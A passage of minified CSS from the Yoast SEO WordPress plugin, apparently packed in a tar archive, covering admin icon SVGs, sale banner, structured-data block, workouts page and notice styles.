9.5H544q-13 0-22.5-9.5T512 992V800q0-13 9.5-22.5T544 768h1216q13 0 22.5 9.5t9.5 22.5zm0-512v192q0 13-9.5 22.5T1760 512H544q-13 0-22.5-9.5T512 480V288q0-13 9.5-22.5T544 256h1216q13 0 22.5 9.5t9.5 22.5z'/%3E%3C/svg%3E");--yoast-svg-icon-key:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M832 512q0-80-56-136t-136-56-136 56-56 136q0 42 19 83-41-19-83-19-80 0-136 56t-56 136 56 136 136 56 136-56 56-136q0-42-19-83 41 19 83 19 80 0 136-56t56-136zm851 704q0 17-49 66t-66 49q-9 0-28.5-16t-36.5-33-38.5-40-24.5-26l-96 96 220 220q28 28 28 68 0 42-39 81t-81 39q-40 0-68-28l-671-671q-176 131-365 131-163 0-265.5-102.5T0 784q0-160 95-313t248-248 313-95q163 0 265.5 102.5T1024 496q0 189-131 365l355 355 96-96q-3-3-26-24.5t-40-38.5-33-36.5-16-28.5q0-17 49-66t66-49q13 0 23 10 6 6 46 44.5t82 79.5 86.5 86 73 78 28.5 41z'/%3E%3C/svg%3E");--yoast-svg-icon-edit:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='m491 1536 91-91-235-235-91 91v107h128v128h107zm523-928q0-22-22-22-10 0-17 7l-542 542q-7 7-7 17 0 22 22 22 10 0 17-7l542-542q7-7 7-17zm-54-192 416 416-832 832H128v-416zm683 96q0 53-37 90l-166 166-416-416 166-165q36-38 90-38 53 0 91 38l235 234q37 39 37 91z'/%3E%3C/svg%3E");--yoast-svg-icon-lock:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 15v2m-6 4h12a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2H6a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2zm10-10V7a4 4 0 0 0-8 0v4h8z"/></svg>');--yoast-svg-icon-yoast:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23999' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-good:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%237ad03a' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23ee7c1b' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-bad:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23dc3232' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-noindex:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%231e8cbe' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E")}wordpress-seo/css/dist/featured-image-2420.css000064400000000214147510273070015074 0ustar00#yst_opengraph_image_warning{margin-top:0}.yoast-opengraph-image-notice #set-post-thumbnail>img{box-shadow:0 0 0 2px #fff,0 0 0 5px #dc3232}wordpress-seo/css/dist/black-friday-banner-2420.css000064400000001254147510273070016015 0ustar00.sidebar__sale_banner_container .sidebar__sale_banner{--tw-bg-opacity:1;background-color:rgb(0 0 0/var(--tw-bg-opacity));box-shadow:0 -1px 4px 0 #fcd34d,0 1px 4px 0 #fcd34d,0 -1px 0 0 #fcd34d,0 1px 0 0 #fcd34d;color:#fcd34d;font-size:1.125rem;font-weight:700;letter-spacing:.5px;line-height:30px;margin-bottom:10px;margin-left:-30px;margin-top:1.25rem;padding:.25rem 0;text-align:center;transform:rotate(-5deg);width:calc(100% + 60px)}.sidebar__sale_banner_container .sidebar__sale_banner .banner_text{display:inline-block;margin:0 35px}.sidebar__sale_banner_container{margin-bottom:-25px;margin-left:-24px;margin-top:-25px;overflow:hidden;padding-bottom:10px;width:calc(100% + 48px)}wordpress-seo/css/dist/structured-data-blocks-2420.css000064400000006675147510273070016624 0ustar00.schema-faq-section,.schema-how-to-step{border:1px solid #9197a240;list-style-type:none;margin:4px 0;padding:8px 4px 8px 32px;position:relative}.schema-faq-buttons,.schema-how-to-buttons{display:flex;justify-content:center}.schema-faq-buttons button.components-icon-button:not(:disabled):not([aria-disabled=true]):not(.is-default):hover,.schema-how-to-buttons button.components-icon-button:not(:disabled):not([aria-disabled=true]):not(.is-default):hover{box-shadow:none;color:#007cba}.schema-faq-section-mover,.schema-how-to-step-mover{display:inline-block}.schema-faq-section-mover .editor-block-mover__control,.schema-how-to-step-mover .editor-block-mover__control{display:inline-flex;height:36px;width:36px}.schema-faq-question,.schema-how-to-step-name{font-weight:600}.schema-faq .schema-faq-answer,.schema-faq .schema-faq-question,.schema-how-to .schema-how-to-description,.schema-how-to .schema-how-to-step-name,.schema-how-to .schema-how-to-step-text,.schema-how-to .schema-how-to-steps{line-height:inherit;margin:0}.schema-how-to .schema-how-to-steps{padding-top:0}.schema-faq-section-button-container,.schema-how-to-step-button-container{display:inline-flex;text-align:right}.schema-faq-section-button-container button.components-icon-button:not(:disabled):not([aria-disabled=true]):not(.is-default):hover,.schema-how-to-step-button-container button.components-icon-button:not(:disabled):not([aria-disabled=true]):not(.is-default):hover{box-shadow:none;color:#007cba}.schema-faq-section-controls-container,.schema-how-to-step-controls-container{margin-left:-28px;text-align:right}.schema-faq-section-controls-container .dashicons-arrow-up-alt2,.schema-how-to-step-controls-container .dashicons-arrow-up-alt2{position:relative;top:-1px}.faq-section-add-media .dashicon,.how-to-step-add-media .dashicon,.schema-faq-add-question .dashicon,.schema-how-to-add-step .dashicon,.schema-how-to-duration-button .dashicon{margin-right:4px}.schema-how-to{padding-top:4px}.schema-how-to-step-number{left:4px;position:absolute;text-align:right;width:24px}.schema-how-to-duration{border:0;margin:0;padding:0}.schema-how-to-duration-flex-container{align-items:center;display:flex}.schema-how-to-duration-time-input{align-items:center;display:inline-flex;flex-wrap:nowrap}legend.schema-how-to-duration-legend{margin-right:4px}#schema-how-to-duration-days{margin-right:8px}.schema-how-to-duration .schema-how-to-duration-input[type=number]{-moz-appearance:textfield;margin:0 2px;padding:6px 4px;text-align:center;width:40px}.schema-how-to-duration .schema-how-to-duration-input[type=number]::-webkit-inner-spin-button,.schema-how-to-duration .schema-how-to-duration-input[type=number]::-webkit-outer-spin-button{-webkit-appearance:none;margin:0}.schema-how-to-duration-button.components-icon-button{margin-left:-8px;vertical-align:top}.schema-how-to-duration-button.components-icon-button:not(:disabled):not([aria-disabled=true]):not(.is-default):hover{box-shadow:none;color:#007cba}.schema-how-to-description{margin:8px 0}body.is-dark-theme .schema-faq-section-mover button.components-button,body.is-dark-theme .schema-how-to-step-mover button.components-button,body.is-dark-theme button.components-button.schema-faq-add-question,body.is-dark-theme button.components-button.schema-faq-section-button,body.is-dark-theme button.components-button.schema-how-to-add-step,body.is-dark-theme button.components-button.schema-how-to-duration-button,body.is-dark-theme button.components-button.schema-how-to-step-button{color:#e8eaed}wordpress-seo/css/dist/workouts-2420.css000064400000017601147510273070014122 0ustar00#wpseo-workouts-container-free h1,#wpseo-workouts-container-free h3{color:#a4286a;font-weight:500}#wpseo-workouts-container-free h3{font-size:18px;line-height:24px}.card.card-small h3{min-height:48px}#wpseo-workouts-container-free h2{font-size:12px;text-transform:uppercase}#wpseo-workouts-container-free #workouts-page-description{font-size:16px;max-width:600px}.workflow tr.cornerstone{font-weight:700}#wpseo-workouts-container-free hr{margin-bottom:24px;margin-top:8px}#wpseo-workouts-container-free progress{margin:16px 0 8px}#wpseo-workouts-container-free div.card{border-color:#0003;border-radius:8px;border-width:1px;box-shadow:0 1px 3px 0 #0000001a,0 1px 2px 0 #0000000f;max-width:720px;padding:24px;width:100%}#wpseo-workouts-container-free div.card>h2{margin:0}#wpseo-workouts-container-free div.card.card-small{display:flex;flex-direction:column;max-width:320px}#wpseo-workouts-container-free div.card.card-small svg{height:146px;width:204px}#wpseo-workouts-container-free div.card.card-small svg *{height:100%;width:100%}#wpseo-workouts-container-free div.card.card-small>span{margin-top:auto}#wpseo-workouts-container-free table button{margin:2px}.workflow{counter-reset:line-number;list-style:none;margin-left:48px}.workflow li li{counter-increment:none;line-height:19px;margin-bottom:8px}.workflow li.step{counter-increment:line-number;padding-bottom:16px;position:relative}.workflow .yoast-button.yoast-button--finished{opacity:.5}.workflow .finish-button-section .finish-button-saved{color:#6ea029;grid-column-end:3;grid-column-start:3;margin-left:10px;position:relative}.workflow .finish-button-section .finish-button-saved:before{background:var(--yoast-svg-icon-check);background-size:18px 13px;content:"";height:13px;left:-18px;position:absolute;top:2px;width:18px}.workflow li.step>.yoast-button.orphaned-summary{display:initial;margin:0}.yoast .yoast-button--arrow-down{display:inline-block;flex-shrink:0;height:16px;margin:0 -2px 0 6px;width:16px}.workflow>li.step:before{background:#a4286a;bottom:-20px;content:"";left:-33px;position:absolute;top:0;width:2px}.workflow .extra-list-content{position:relative}.workflow>li.step:last-of-type:before{display:none}.workflow>li.step:after{background:#fff;border:2px solid #a4286a;border-radius:100%;color:#a4286a;content:counter(line-number);display:block;height:28px;left:-48px;line-height:28px;position:absolute;text-align:center;top:-8px;width:28px}.workflow li.step.finished:after{background:url("data:image/svg+xml;charset=utf-8,%3Csvg width='24' fill='none' stroke='%23FFF' height='24' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='m5 13 4 4L19 7'/%3E%3C/svg%3E") #a4286a;background-position:50%;background-repeat:no-repeat;background-size:20px 20px;content:""}.workflow li.step.finished.faded p,.workflow li.step.finished.faded table{opacity:.5}.workflow li.step img{max-width:100%}.workflow li.step img.workflow__image{max-height:100px;max-width:100px}.workflow li.step.yoast-fadeout:before{background:linear-gradient(180deg,#a4286a,#fff 75%);display:block}.workflow li.step #react-select-2-input{box-shadow:none!important}.workflows__index{display:flex;flex-wrap:wrap;gap:16px}.workflows__index .yoast-button{width:100%}table.yoast_help.yoast_link_suggestions thead td{padding:16px 8px}table.yoast_help.yoast_link_suggestions td{vertical-align:middle}table.yoast_help th.divider{text-align:center}.workflow table.yoast_help td{vertical-align:middle}.workflow table.yoast_help.yoast_link_suggestions td div{display:inline-block}.workflow table.yoast_help.yoast_link_suggestions td strong{display:inline-block;margin-right:8px}.components-modal__header{height:72px;padding:0 24px}.components-modal__header .components-modal__header-heading{color:#a4286a;font-size:20px;font-weight:400;line-height:1.2;margin:0}.components-modal__header .yoast-icon{background-color:var(--yoast-color-primary);display:inline-block;height:20px;margin-right:8px;mask-image:var(--yoast-svg-icon-yoast);-webkit-mask-image:var(--yoast-svg-icon-yoast);mask-size:100% 100%;-webkit-mask-size:100% 100%;width:20px}.components-modal__content{padding:0 24px 24px}.components-modal__content input[type=text]{max-width:400px;width:100%}.components-modal__frame.yoast__workout{max-width:720px}.yoast__redirect-suggestions{line-height:2}.components-modal__screen-overlay{animation:edit-post__fade-in-animation .2s ease-out 0s;animation-fill-mode:forwards;background-color:#00000059;bottom:0;left:0;position:fixed;right:0;top:0;z-index:100000}@media (prefers-reduced-motion:reduce){.components-modal__screen-overlay{animation-delay:0s;animation-duration:1ms}}.components-modal__frame{background:#fff;border-radius:2px;bottom:0;box-shadow:0 10px 10px #00000040;box-sizing:border-box;left:0;margin:0;overflow:auto;position:absolute;right:0;top:0}@media (min-width:600px){.components-modal__frame{animation:components-modal__appear-animation .1s ease-out;animation-fill-mode:forwards;bottom:auto;left:50%;max-height:90%;max-width:calc(100% - 32px);min-width:360px;right:auto;top:50%;transform:translate(-50%,-50%)}}@media (min-width:600px) and (prefers-reduced-motion:reduce){.components-modal__frame{animation-delay:0s;animation-duration:1ms}}@keyframes components-modal__appear-animation{0%{margin-top:32px}to{margin-top:0}}.components-modal__header{align-items:center;background:#fff;border-bottom:1px solid #ddd;box-sizing:border-box;display:flex;flex-direction:row;height:60px;justify-content:space-between;margin:0 -32px 24px;padding:0 32px;position:relative;position:sticky;top:0;z-index:10}@supports (-ms-ime-align:auto){.components-modal__header{position:fixed;width:100%}}.components-modal__header .components-modal__header-heading{font-size:1rem;font-weight:600}.components-modal__header h1{line-height:1;margin:0}.components-modal__header .components-button{left:8px;position:relative}.components-modal__header-heading-container{align-items:center;display:flex;flex-direction:row;flex-grow:1;justify-content:left}.components-modal__header-icon-container{display:inline-block}.components-modal__header-icon-container svg{max-height:36px;max-width:36px;padding:8px}.components-modal__content{box-sizing:border-box;height:100%;padding:0 32px 24px}@supports (-ms-ime-align:auto){.components-modal__content{padding-top:60px}}.workflow li.step h4{font-size:14px;font-weight:600;margin:24px 0 0}.workflow .yoast-social-profiles-input-fields{margin:10px 0 20px}.workflow .tracking-radiobuttons{line-height:19px;margin:0 0 20px}.workflow .yoast-tracking{list-style-position:inside;list-style-type:disc;padding:inherit}.yoast-list--usp{margin-bottom:16px;padding-left:24px}.yoast-list--usp li{margin-bottom:16px;position:relative}.yoast-list--usp li:before{background:var(--yoast-svg-icon-check);background-size:18px 13px;content:"";height:13px;left:-24px;position:absolute;top:3px;width:18px}.workout-card-content-flex{display:flex}.card.card-small .yoast-button-upsell{box-shadow:inset 0 -2px 0 #0003;filter:none;font-family:inherit;min-height:40px}.card.card-small button{box-shadow:inset 0 -2px 0 #0000004d;filter:none;min-height:40px}.card.card-small button.yoast-button--secondary{box-shadow:inset 0 -2px 0 #0000001a}.workout-card-content-flex ul{margin-right:8px}.workout-card-content-flex img{max-width:120px}.workout-card-upsell-button{opacity:1}#wpseo-workouts-container-free div.card.card-small.card-disabled{background-color:#ffffff80}#wpseo-workouts-container-free div.card.card-small.card-disabled .workout-card-content-flex,#wpseo-workouts-container-free div.card.card-small.card-disabled .workout-card-progress,#wpseo-workouts-container-free div.card.card-small.card-disabled h2,#wpseo-workouts-container-free div.card.card-small.card-disabled h3{opacity:.5}.workflow__grid{display:grid;gap:8px;grid-template-columns:auto 100px}.workflow__grid>div:last-of-type{display:flex;flex-wrap:wrap;justify-content:flex-end}@media screen and (max-width:768px){#wpseo-workouts-container-free #workouts-page-description{max-width:320px}}wordpress-seo/css/dist/wpseo-dismissible-2420.css000064400000001352147510273070015663 0ustar00.yoast-notice-dismiss:before{-webkit-font-smoothing:antialiased!important;speak:none;background:none;color:#b4b9be;content:"\f153";display:block!important;font:normal 16px/1 dashicons;height:20px;text-align:center;width:20px}.yoast-notice-dismiss{background:none;border:none;color:#b4b9be;cursor:pointer;margin:0;padding:9px;position:absolute;right:1px;top:0}.yoast-notice-dismiss:before{left:0;line-height:20px;position:relative;top:0}.yoast-notice-dismiss:active:before,.yoast-notice-dismiss:focus:before,.yoast-notice-dismiss:hover:before{color:#c00}.yoast-notice-dismiss:focus{box-shadow:0 0 0 1px #5b9dd9,0 0 2px 1px #1e8cbecc;color:#c00;outline:none}.yoast-notice.is-dismissible{position:relative}.yoast-notice-dismiss{text-decoration:none}wordpress-seo/css/dist/yst_plugin_tools-2420.css000064400000060025147510273070015640 0ustar00:root{--yoast-svg-icon-info:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23A4286A' d='M1152 1376v-160q0-14-9-23t-23-9h-96V672q0-14-9-23t-23-9H672q-14 0-23 9t-9 23v160q0 14 9 23t23 9h96v320h-96q-14 0-23 9t-9 23v160q0 14 9 23t23 9h448q14 0 23-9t9-23zm-128-896V320q0-14-9-23t-23-9H800q-14 0-23 9t-9 23v160q0 14 9 23t23 9h192q14 0 23-9t9-23zm640 416q0 209-103 385.5T1281.5 1561 896 1664t-385.5-103T231 1281.5 128 896t103-385.5T510.5 231 896 128t385.5 103T1561 510.5 1664 896z'/%3E%3C/svg%3E");--yoast-svg-icon-check:url("data:image/svg+xml;charset=utf-8,%3Csvg viewBox='0 0 1792 1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68z'/%3E%3C/svg%3E");--yoast-svg-icon-check-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68z'/%3E%3C/svg%3E");--yoast-svg-icon-caret-right:url("data:image/svg+xml;charset=utf-8,%3Csvg width='16' height='16' viewBox='0 0 192 512' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M0 384.662V127.338c0-17.818 21.543-26.741 34.142-14.142l128.662 128.662c7.81 7.81 7.81 20.474 0 28.284L34.142 398.804C21.543 411.404 0 402.48 0 384.662Z'/%3E%3C/svg%3E");--yoast-svg-icon-caret-left:url("data:image/svg+xml;charset=utf-8,%3Csvg width='16' height='16' viewBox='0 0 192 512' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M192 127.338v257.324c0 17.818-21.543 26.741-34.142 14.142L29.196 270.142c-7.81-7.81-7.81-20.474 0-28.284l128.662-128.662c12.599-12.6 34.142-3.676 34.142 14.142z'/%3E%3C/svg%3E");--yoast-svg-icon-eye:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M1664 960q-152-236-381-353 61 104 61 225 0 185-131.5 316.5T896 1280t-316.5-131.5T448 832q0-121 61-225-229 117-381 353 133 205 333.5 326.5T896 1408t434.5-121.5T1664 960zM944 576q0-20-14-34t-34-14q-125 0-214.5 89.5T592 832q0 20 14 34t34 14 34-14 14-34q0-86 61-147t147-61q20 0 34-14t14-34zm848 384q0 34-20 69-140 230-376.5 368.5T896 1536t-499.5-139T20 1029Q0 994 0 960t20-69q140-229 376.5-368T896 384t499.5 139T1772 891q20 35 20 69z'/%3E%3C/svg%3E");--yoast-svg-icon-list:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M384 1408q0 80-56 136t-136 56-136-56-56-136 56-136 136-56 136 56 56 136zm0-512q0 80-56 136t-136 56-136-56T0 896t56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 1504v-192q0-13 9.5-22.5t22.5-9.5h1216q13 0 22.5 9.5t9.5 22.5zM384 384q0 80-56 136t-136 56-136-56T0 384t56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 992V800q0-13 9.5-22.5T544 768h1216q13 0 22.5 9.5t9.5 22.5zm0-512v192q0 13-9.5 22.5T1760 512H544q-13 0-22.5-9.5T512 480V288q0-13 9.5-22.5T544 256h1216q13 0 22.5 9.5t9.5 22.5z'/%3E%3C/svg%3E");--yoast-svg-icon-key:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M832 512q0-80-56-136t-136-56-136 56-56 136q0 42 19 83-41-19-83-19-80 0-136 56t-56 136 56 136 136 56 136-56 56-136q0-42-19-83 41 19 83 19 80 0 136-56t56-136zm851 704q0 17-49 66t-66 49q-9 0-28.5-16t-36.5-33-38.5-40-24.5-26l-96 96 220 220q28 28 28 68 0 42-39 81t-81 39q-40 0-68-28l-671-671q-176 131-365 131-163 0-265.5-102.5T0 784q0-160 95-313t248-248 313-95q163 0 265.5 102.5T1024 496q0 189-131 365l355 355 96-96q-3-3-26-24.5t-40-38.5-33-36.5-16-28.5q0-17 49-66t66-49q13 0 23 10 6 6 46 44.5t82 79.5 86.5 86 73 78 28.5 41z'/%3E%3C/svg%3E");--yoast-svg-icon-edit:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='m491 1536 91-91-235-235-91 91v107h128v128h107zm523-928q0-22-22-22-10 0-17 7l-542 542q-7 7-7 17 0 22 22 22 10 0 17-7l542-542q7-7 7-17zm-54-192 416 416-832 832H128v-416zm683 96q0 53-37 90l-166 166-416-416 166-165q36-38 90-38 53 0 91 38l235 234q37 39 37 91z'/%3E%3C/svg%3E");--yoast-svg-icon-lock:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 15v2m-6 4h12a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2H6a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2zm10-10V7a4 4 0 0 0-8 0v4h8z"/></svg>');--yoast-svg-icon-yoast:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23999' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-good:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%237ad03a' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23ee7c1b' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-bad:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23dc3232' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-noindex:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%231e8cbe' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E")}.wpseo_content_wrapper{display:table;table-layout:fixed;width:100%}.wpseo_content_cell{display:table-cell;height:500px;margin:0;padding:0;vertical-align:top}#wpseo_content_top{width:100%}tr.yst_row{margin:5px 0 0;padding:5px 0 0}#sidebar-container{padding-left:20px;width:300px}tr.yst_row.even{background-color:#f6f6f6}.wpseo_content_wrapper label.select,.wpseo_content_wrapper label.textinput{word-wrap:break-word;float:left;margin:5px 0;width:200px}.wpseo_content_wrapper label.select.error,.wpseo_content_wrapper label.textinput.error{color:#dc3232;font-weight:700}.wpseo_content_wrapper .yoast-inline-label{display:inline-block;float:none;margin:0 0 8px}.wpseo_content_wrapper input.textinput,.wpseo_content_wrapper select,.wpseo_content_wrapper textarea{width:400px}.wpseo_content_wrapper input.number{width:100px}.wpseo_content_wrapper input.large-text,.wpseo_content_wrapper textarea.large-text{width:99%}.wpseo_content_wrapper .select2-container,.wpseo_content_wrapper input.textinput,.wpseo_content_wrapper select.select,.wpseo_content_wrapper textarea.textinput{margin:0 0 15px}.wpseo_content_wrapper input.textinput[aria-invalid=true]{background:#f9dcdc url(../../images/error-icon.svg) no-repeat calc(100% - 6px);background-size:12px;border:1px solid #dc3232;color:#000;padding-right:24px}.wpseo_content_wrapper input.textinput[aria-invalid=true][aria-describedby]{margin-bottom:.5rem}.wpseo_content_wrapper .yoast-input-validation__error-description{color:#8f1919;margin:0 0 1rem;padding-left:200px;width:400px}.wpseo_content_wrapper input.checkbox,.wpseo_content_wrapper input.checkbox.double,.wpseo_content_wrapper input.radio{margin:6px 10px 6px 0}.wpseo_content_wrapper .textinput.metadesc{height:50px}.wpseo_content_wrapper textarea.import{height:100px;width:500px}.wpseo_content_wrapper p.desc{margin:6px 0 10px;padding:0 0 8px 25px}.wpseo_content_wrapper div.desc.label,.wpseo_content_wrapper p.desc.label{margin:0 